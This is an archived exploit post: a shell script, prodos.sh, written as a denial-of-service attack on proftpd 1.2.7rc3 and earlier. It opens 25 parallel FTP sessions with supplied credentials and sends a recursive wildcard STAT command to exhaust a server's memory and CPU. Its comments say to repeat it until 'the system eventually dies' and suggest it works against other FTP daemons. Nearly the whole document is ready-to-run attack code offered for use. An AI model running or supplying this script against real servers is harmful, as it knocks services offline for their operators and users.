prodos.sh

`Hello,  
  
proftpd is vulnerable to denial of service similar to the list  
*/../*/../*/../*.  
  
#!/bin/sh  
#  
# proftpd <=1.2.7rc3 DoS - Requires anonymous/ftp login at least  
# might work against many other FTP daemons  
# consumes nearly all memory and alot of CPU  
#  
# tested against slackware 8.1 - proftpd 1.2.4 and 1.2.7rc3  
#  
# 7-dec-02 - detach - www.duho.org  
#  
# use: ./prodos.sh <host> <user> <pass>  
# do this some more to make sure the system eventually dies  
  
cnt=25  
while [ $cnt -gt 0 ] ; do  
ftp -n << EOF&  
o $1  
quote user $2  
quote pass $3  
quote stat /*/*/*/*/*/*/*  
quit  
EOF  
let cnt=cnt-1  
done  
sleep 2  
killall -9 ftp  
echo DONE!  
  
#end  
  
`